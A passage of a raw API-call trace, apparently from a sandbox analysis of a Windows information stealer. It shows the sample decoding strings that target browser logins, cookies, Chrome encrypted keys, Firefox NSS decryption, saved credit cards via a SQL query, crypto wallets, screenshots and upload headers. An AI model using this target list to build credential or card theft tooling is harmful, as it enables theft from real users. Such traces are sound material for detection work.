lpMultiByteStr=0xc8b97c, cbMultiByte=-1, lpWideCharStr=0x6aab50, cchWideChar=11 | out: lpWideCharStr="logins.json") returned 0 [0251.985] lstrlenA (lpString="\\*") returned 2 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x6aea28 [0251.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b978, cbMultiByte=-1, lpWideCharStr=0x6aea28, cchWideChar=2 | out: lpWideCharStr="\\*") returned 0 [0251.985] lstrlenA (lpString="\\autofill.txt") returned 13 [0251.985] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x6ab108 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b988, cbMultiByte=-1, lpWideCharStr=0x6ab108, cchWideChar=13 | out: lpWideCharStr="\\autofill.txt") returned 0 [0251.986] lstrlenA (lpString="\\cookies.txt") returned 12 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x6aab80 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b998, cbMultiByte=-1, lpWideCharStr=0x6aab80, cchWideChar=12 | out: lpWideCharStr="\\cookies.txt") returned 0 [0251.986] lstrlenA (lpString="\\passwords.txt") returned 14 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6ab140 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b9a8, cbMultiByte=-1, lpWideCharStr=0x6ab140, cchWideChar=14 | out: lpWideCharStr="\\passwords.txt") returned 0 [0251.986] lstrlenA (lpString="---") returned 3 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x6aea48 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b9b8, cbMultiByte=-1, lpWideCharStr=0x6aea48, cchWideChar=3 | out: lpWideCharStr="---") returned 0 [0251.986] lstrlenA (lpString="--") returned 2 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x6aea68 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b9bc, cbMultiByte=-1, lpWideCharStr=0x6aea68, cchWideChar=2 | out: lpWideCharStr="--") returned 0 [0251.986] lstrlenA (lpString="*/*") returned 3 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x6aea88 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b9c0, cbMultiByte=-1, lpWideCharStr=0x6aea88, cchWideChar=3 | out: lpWideCharStr="*/*") returned 0 [0251.986] lstrlenA (lpString="Content-Type: application/x-www-form-urlencoded; charset=utf-8") returned 62 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6af1f0 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8b9c4, cbMultiByte=-1, lpWideCharStr=0x6af1f0, cchWideChar=62 | out: lpWideCharStr="Content-Type: application/x-www-form-urlencoded; charset=utf-8") returned 0 [0251.986] lstrlenA (lpString="Content-Type: multipart/form-data; boundary=") returned 44 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x68) returned 0x6af288 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba04, cbMultiByte=-1, lpWideCharStr=0x6af288, cchWideChar=44 | out: lpWideCharStr="Content-Type: multipart/form-data; boundary=") returned 0 [0251.986] lstrlenA (lpString="User Data") returned 9 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x22) returned 0x6aabb0 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba50, cbMultiByte=-1, lpWideCharStr=0x6aabb0, cchWideChar=9 | out: lpWideCharStr="User Data") returned 0 [0251.986] lstrlenA (lpString="wallets") returned 7 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x6adc30 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba5c, cbMultiByte=-1, lpWideCharStr=0x6adc30, cchWideChar=7 | out: lpWideCharStr="wallets") returned 0 [0251.986] lstrlenA (lpString="wlts_") returned 5 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x6adc58 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba64, cbMultiByte=-1, lpWideCharStr=0x6adc58, cchWideChar=5 | out: lpWideCharStr="wlts_") returned 0 [0251.986] lstrlenA (lpString="ldr_") returned 4 [0251.986] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x6aeaa8 [0251.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba6c, cbMultiByte=-1, lpWideCharStr=0x6aeaa8, cchWideChar=4 | out: lpWideCharStr="ldr_") returned 0 [0251.987] lstrlenA (lpString="scrnsht_") returned 8 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6adc80 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba74, cbMultiByte=-1, lpWideCharStr=0x6adc80, cchWideChar=8 | out: lpWideCharStr="scrnsht_") returned 0 [0251.987] lstrlenA (lpString="sstmnfo_") returned 8 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6adca8 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba80, cbMultiByte=-1, lpWideCharStr=0x6adca8, cchWideChar=8 | out: lpWideCharStr="sstmnfo_") returned 0 [0251.987] lstrlenA (lpString="Content-Type: text/plain;") returned 25 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x6a6be8 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba34, cbMultiByte=-1, lpWideCharStr=0x6a6be8, cchWideChar=25 | out: lpWideCharStr="Content-Type: text/plain;") returned 0 [0251.987] lstrlenA (lpString="nss3.dll") returned 8 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6adcd0 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8ba94, cbMultiByte=-1, lpWideCharStr=0x6adcd0, cchWideChar=8 | out: lpWideCharStr="nss3.dll") returned 0 [0251.987] lstrlenA (lpString="sqlite3.dll") returned 11 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6aabe0 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8baa0, cbMultiByte=-1, lpWideCharStr=0x6aabe0, cchWideChar=11 | out: lpWideCharStr="sqlite3.dll") returned 0 [0251.987] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion") returned 44 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x68) returned 0x6af2f8 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8baac, cbMultiByte=-1, lpWideCharStr=0x6af2f8, cchWideChar=44 | out: lpWideCharStr="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion") returned 0 [0251.987] lstrlenA (lpString="PATH") returned 4 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x6aeac8 [0251.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8badc, cbMultiByte=-1, lpWideCharStr=0x6aeac8, cchWideChar=4 | out: lpWideCharStr="PATH") returned 0 [0251.987] lstrlenA (lpString="ProductName") returned 11 [0251.987] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6aac10 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bae4, cbMultiByte=-1, lpWideCharStr=0x6aac10, cchWideChar=11 | out: lpWideCharStr="ProductName") returned 0 [0251.988] lstrlenA (lpString="pera ") returned 5 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x6adcf8 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bc50, cbMultiByte=-1, lpWideCharStr=0x6adcf8, cchWideChar=5 | out: lpWideCharStr="pera ") returned 0 [0251.988] lstrlenA (lpString="Stable") returned 6 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x6add20 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bc58, cbMultiByte=-1, lpWideCharStr=0x6add20, cchWideChar=6 | out: lpWideCharStr="Stable") returned 0 [0251.988] lstrlenA (lpString="Web Data") returned 8 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6add48 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8baf0, cbMultiByte=-1, lpWideCharStr=0x6add48, cchWideChar=8 | out: lpWideCharStr="Web Data") returned 0 [0251.988] lstrlenA (lpString="cookies.sqlite") returned 14 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6ab178 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bcd4, cbMultiByte=-1, lpWideCharStr=0x6ab178, cchWideChar=14 | out: lpWideCharStr="cookies.sqlite") returned 0 [0251.988] lstrlenA (lpString="machineId=") returned 10 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x6aac40 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bce4, cbMultiByte=-1, lpWideCharStr=0x6aac40, cchWideChar=10 | out: lpWideCharStr="machineId=") returned 0 [0251.988] lstrlenA (lpString="&configId=") returned 10 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x6aac70 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bcf0, cbMultiByte=-1, lpWideCharStr=0x6aac70, cchWideChar=10 | out: lpWideCharStr="&configId=") returned 0 [0251.988] lstrlenA (lpString="\"encrypted_key\":\"") returned 17 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x32) returned 0x6af368 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bcfc, cbMultiByte=-1, lpWideCharStr=0x6af368, cchWideChar=17 | out: lpWideCharStr="\"encrypted_key\":\"") returned 0 [0251.988] lstrlenA (lpString="stats_version\":\"") returned 16 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x30) returned 0x6ab1b0 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd10, cbMultiByte=-1, lpWideCharStr=0x6ab1b0, cchWideChar=16 | out: lpWideCharStr="stats_version\":\"") returned 0 [0251.988] lstrlenA (lpString="Content-Type: application/x-object") returned 34 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0x6af3a8 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd24, cbMultiByte=-1, lpWideCharStr=0x6af3a8, cchWideChar=34 | out: lpWideCharStr="Content-Type: application/x-object") returned 0 [0251.988] lstrlenA (lpString="Content-Disposition: form-data; name=\"file\"; filename=\"") returned 55 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x7e) returned 0x6af408 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd48, cbMultiByte=-1, lpWideCharStr=0x6af408, cchWideChar=55 | out: lpWideCharStr="Content-Disposition: form-data; name=\"file\"; filename=\"") returned 0 [0251.988] lstrlenA (lpString="GET") returned 3 [0251.988] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x6aeae8 [0251.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd80, cbMultiByte=-1, lpWideCharStr=0x6aeae8, cchWideChar=3 | out: lpWideCharStr="GET") returned 0 [0251.989] lstrlenA (lpString="POST") returned 4 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x6aeb08 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd84, cbMultiByte=-1, lpWideCharStr=0x6aeb08, cchWideChar=4 | out: lpWideCharStr="POST") returned 0 [0251.989] lstrlenA (lpString="Low") returned 3 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x6aeb28 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd8c, cbMultiByte=-1, lpWideCharStr=0x6aeb28, cchWideChar=3 | out: lpWideCharStr="Low") returned 0 [0251.989] lstrlenA (lpString="MachineGuid") returned 11 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6aaca0 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd90, cbMultiByte=-1, lpWideCharStr=0x6aaca0, cchWideChar=11 | out: lpWideCharStr="MachineGuid") returned 0 [0251.989] lstrlenA (lpString="image/jpeg") returned 10 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x6aacd0 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bd9c, cbMultiByte=-1, lpWideCharStr=0x6aacd0, cchWideChar=10 | out: lpWideCharStr="image/jpeg") returned 0 [0251.989] lstrlenA (lpString="GdiPlus.dll") returned 11 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6aad00 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bda8, cbMultiByte=-1, lpWideCharStr=0x6aad00, cchWideChar=11 | out: lpWideCharStr="GdiPlus.dll") returned 0 [0251.989] lstrlenA (lpString="Gdi32.dll") returned 9 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x22) returned 0x6aad30 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bdb4, cbMultiByte=-1, lpWideCharStr=0x6aad30, cchWideChar=9 | out: lpWideCharStr="Gdi32.dll") returned 0 [0251.989] lstrlenA (lpString="GdiplusStartup") returned 14 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6ab1e8 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bdc0, cbMultiByte=-1, lpWideCharStr=0x6ab1e8, cchWideChar=14 | out: lpWideCharStr="GdiplusStartup") returned 0 [0251.989] lstrlenA (lpString="GdipDisposeImage") returned 16 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x30) returned 0x6ab220 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bdd0, cbMultiByte=-1, lpWideCharStr=0x6ab220, cchWideChar=16 | out: lpWideCharStr="GdipDisposeImage") returned 0 [0251.989] lstrlenA (lpString="GdipGetImageEncoders") returned 20 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x38) returned 0x6af490 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bde4, cbMultiByte=-1, lpWideCharStr=0x6af490, cchWideChar=20 | out: lpWideCharStr="GdipGetImageEncoders") returned 0 [0251.989] lstrlenA (lpString="GdipGetImageEncodersSize") returned 24 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x40) returned 0x6a5280 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bdfc, cbMultiByte=-1, lpWideCharStr=0x6a5280, cchWideChar=24 | out: lpWideCharStr="GdipGetImageEncodersSize") returned 0 [0251.989] lstrlenA (lpString="GdipCreateBitmapFromHBITMAP") returned 27 [0251.989] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x6a6c38 [0251.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be18, cbMultiByte=-1, lpWideCharStr=0x6a6c38, cchWideChar=27 | out: lpWideCharStr="GdipCreateBitmapFromHBITMAP") returned 0 [0251.989] lstrlenA (lpString="GdipSaveImageToFile") returned 19 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x36) returned 0x6af4d0 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be34, cbMultiByte=-1, lpWideCharStr=0x6af4d0, cchWideChar=19 | out: lpWideCharStr="GdipSaveImageToFile") returned 0 [0251.990] lstrlenA (lpString="BitBlt") returned 6 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x6add70 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be48, cbMultiByte=-1, lpWideCharStr=0x6add70, cchWideChar=6 | out: lpWideCharStr="BitBlt") returned 0 [0251.990] lstrlenA (lpString="CreateCompatibleBitmap") returned 22 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x3c) returned 0x6a52c8 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be50, cbMultiByte=-1, lpWideCharStr=0x6a52c8, cchWideChar=22 | out: lpWideCharStr="CreateCompatibleBitmap") returned 0 [0251.990] lstrlenA (lpString="CreateCompatibleDC") returned 18 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x34) returned 0x6af510 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be68, cbMultiByte=-1, lpWideCharStr=0x6af510, cchWideChar=18 | out: lpWideCharStr="CreateCompatibleDC") returned 0 [0251.990] lstrlenA (lpString="DeleteObject") returned 12 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x6aad60 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be7c, cbMultiByte=-1, lpWideCharStr=0x6aad60, cchWideChar=12 | out: lpWideCharStr="DeleteObject") returned 0 [0251.990] lstrlenA (lpString="GetObjectW") returned 10 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x6af568 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be8c, cbMultiByte=-1, lpWideCharStr=0x6af568, cchWideChar=10 | out: lpWideCharStr="GetObjectW") returned 0 [0251.990] lstrlenA (lpString="SelectObject") returned 12 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x6af598 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8be98, cbMultiByte=-1, lpWideCharStr=0x6af598, cchWideChar=12 | out: lpWideCharStr="SelectObject") returned 0 [0251.990] lstrlenA (lpString="SetStretchBltMode") returned 17 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x32) returned 0x6afd50 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bea8, cbMultiByte=-1, lpWideCharStr=0x6afd50, cchWideChar=17 | out: lpWideCharStr="SetStretchBltMode") returned 0 [0251.990] lstrlenA (lpString="StretchBlt") returned 10 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x6af5c8 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bebc, cbMultiByte=-1, lpWideCharStr=0x6af5c8, cchWideChar=10 | out: lpWideCharStr="StretchBlt") returned 0 [0251.990] lstrlenA (lpString="SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards") returned 95 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x6afd90 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bec8, cbMultiByte=-1, lpWideCharStr=0x6afd90, cchWideChar=95 | out: lpWideCharStr="SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards") returned 0 [0251.990] lstrlenA (lpString="NUM:%s\nHOLDER:%s\nEXP:%s/%s\n") returned 27 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x6a6c88 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf28, cbMultiByte=-1, lpWideCharStr=0x6a6c88, cchWideChar=27 | out: lpWideCharStr="NUM:%s\nHOLDER:%s\nEXP:%s/%s\n") returned 0 [0251.990] lstrlenA (lpString="\\CC.txt") returned 7 [0251.990] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x6add98 [0251.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf44, cbMultiByte=-1, lpWideCharStr=0x6add98, cchWideChar=7 | out: lpWideCharStr="\\CC.txt") returned 0 [0251.991] lstrlenA (lpString="NSS_Init") returned 8 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6addc0 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf4c, cbMultiByte=-1, lpWideCharStr=0x6addc0, cchWideChar=8 | out: lpWideCharStr="NSS_Init") returned 0 [0251.991] lstrlenA (lpString="NSS_Shutdown") returned 12 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x6af5f8 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf58, cbMultiByte=-1, lpWideCharStr=0x6af5f8, cchWideChar=12 | out: lpWideCharStr="NSS_Shutdown") returned 0 [0251.991] lstrlenA (lpString="PK11_GetInternalKeySlot") returned 23 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x6a5310 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf68, cbMultiByte=-1, lpWideCharStr=0x6a5310, cchWideChar=23 | out: lpWideCharStr="PK11_GetInternalKeySlot") returned 0 [0251.991] lstrlenA (lpString="PK11_FreeSlot") returned 13 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x6ab258 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf80, cbMultiByte=-1, lpWideCharStr=0x6ab258, cchWideChar=13 | out: lpWideCharStr="PK11_FreeSlot") returned 0 [0251.991] lstrlenA (lpString="PK11_Authenticate") returned 17 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x32) returned 0x6afe68 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bf90, cbMultiByte=-1, lpWideCharStr=0x6afe68, cchWideChar=17 | out: lpWideCharStr="PK11_Authenticate") returned 0 [0251.991] lstrlenA (lpString="PK11SDR_Decrypt") returned 15 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x2e) returned 0x6ab290 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bfa4, cbMultiByte=-1, lpWideCharStr=0x6ab290, cchWideChar=15 | out: lpWideCharStr="PK11SDR_Decrypt") returned 0 [0251.991] lstrlenA (lpString="SECITEM_FreeItem") returned 16 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x30) returned 0x6ab2c8 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bfb4, cbMultiByte=-1, lpWideCharStr=0x6ab2c8, cchWideChar=16 | out: lpWideCharStr="SECITEM_FreeItem") returned 0 [0251.991] lstrlenA (lpString="hostname\":\"") returned 11 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6af628 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bfc8, cbMultiByte=-1, lpWideCharStr=0x6af628, cchWideChar=11 | out: lpWideCharStr="hostname\":\"") returned 0 [0251.991] lstrlenA (lpString="\",\"httpRealm\":") returned 14 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6ab300 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bfd4, cbMultiByte=-1, lpWideCharStr=0x6ab300, cchWideChar=14 | out: lpWideCharStr="\",\"httpRealm\":") returned 0 [0251.991] lstrlenA (lpString="encryptedUsername\":\"") returned 20 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x38) returned 0x6afea8 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bfe4, cbMultiByte=-1, lpWideCharStr=0x6afea8, cchWideChar=20 | out: lpWideCharStr="encryptedUsername\":\"") returned 0 [0251.991] lstrlenA (lpString="\",\"encryptedPassword\":\"") returned 23 [0251.991] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x6a5358 [0251.991] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8bffc, cbMultiByte=-1, lpWideCharStr=0x6a5358, cchWideChar=23 | out: lpWideCharStr="\",\"encryptedPassword\":\"") returned 0 [0251.991] lstrlenA (lpString="\",\"guid\":") returned 9 [0251.992] LocalAlloc (uFlags=0x40, uBytes=0x22) returned 0x6af658 [0251.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8c014, cbMultiByte=-1, lpWideCharStr=0x6af658, cchWideChar=9 | out: lpWideCharStr="\",\"guid\":") returned 0 [0251.992] lstrlenA (lpString="Profiles") returned 8 [0251.992] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6adde8 [0251.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8c020, cbMultiByte=-1, lpWideCharStr=0x6adde8, cchWideChar=8 | out: lpWideCharStr="Profiles") returned 0 [0251.992] lstrlenA (lpString="://") returned 3 [0251.992] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x6aeb48 [0251.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8c02c, cbMultiByte=-1, lpWideCharStr=0x6aeb48, cchWideChar=3 | out: lpWideCharStr="://") returned 0 [0251.992] lstrlenA (lpString="ru") returned 2 [0251.992] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x6aeb68 [0251.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8c030, cbMultiByte=-1, lpWideCharStr=0x6aeb68, cchWideChar=2 | out: lpWideCharStr="ru") returned 0 [0251.992] lstrlenA (lpString="S-1-5-18") returned 8 [0251.992] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6ade10 [0251.992] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8c034, cbMultiByte=-1, lpWideCharStr=0x6ade10, cchWideChar=8 | out: lpWideCharStr="S-1-5-18") returned 0 [0251.993] CoInitialize (pvReserved=0x0) returned 0x0 [0252.012] GetCurrentProcess () returned 0xffffffff [0252.013] GetCurrentProcess () returned 0xffffffff [0252.036] lstrlenA (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.036] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x6b49e0 [0252.036] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc8c084, cbMultiByte=-1, lpWideCharStr=0x6b49e0, cchWideChar=32 | out: lpWideCharStr="517bb0d640c1242c3f069aab3d1018d6") returned 0 [0252.037] lstrlenA (lpString="U0lgk8CzdRDlsxjivzVOd2qNozLuKQ== ") returned 64 [0252.037] LocalAlloc (uFlags=0x40, uBytes=0x41) returned 0x6a6cd8 [0252.037] StrStrA (lpFirst="U0lgk8CzdRDlsxjivzVOd2qNozLuKQ== ", lpSrch=" ") returned=" " [0252.038] lstrlenA (lpString="U0lgk8CzdRDlsxjivzVOd2qNozLuKQ==") returned 32 [0252.038] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x6b4a38 [0252.038] lstrlenA (lpString="U0lgk8CzdRDlsxjivzVOd2qNozLuKQ==") returned 32 [0252.040] CryptStringToBinaryA (in: pszString="U0lgk8CzdRDlsxjivzVOd2qNozLuKQ==", cchString=0x20, dwFlags=0x1, pbBinary=0x6b4a38, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x6b4a38, pcbBinary=0x24fb2c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0252.040] lstrlenA (lpString="517bb0d640c1242c3f069aab3d1018d6") returned 32 [0252.040] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x6af688 [0252.041] lstrlenA (lpString=" ") returned 64 [0252.041] LocalAlloc (uFlags=0x40, uBytes=0x41) returned 0x6a6d28 [0252.041] StrStrA (lpFirst=" ", lpSrch=" ") returned=" " [0252.041] lstrlenA (lpString="") returned 0 [0252.041] LocalAlloc (uFlags=0x40, uBytes=0x40) returned 0x6a53e8 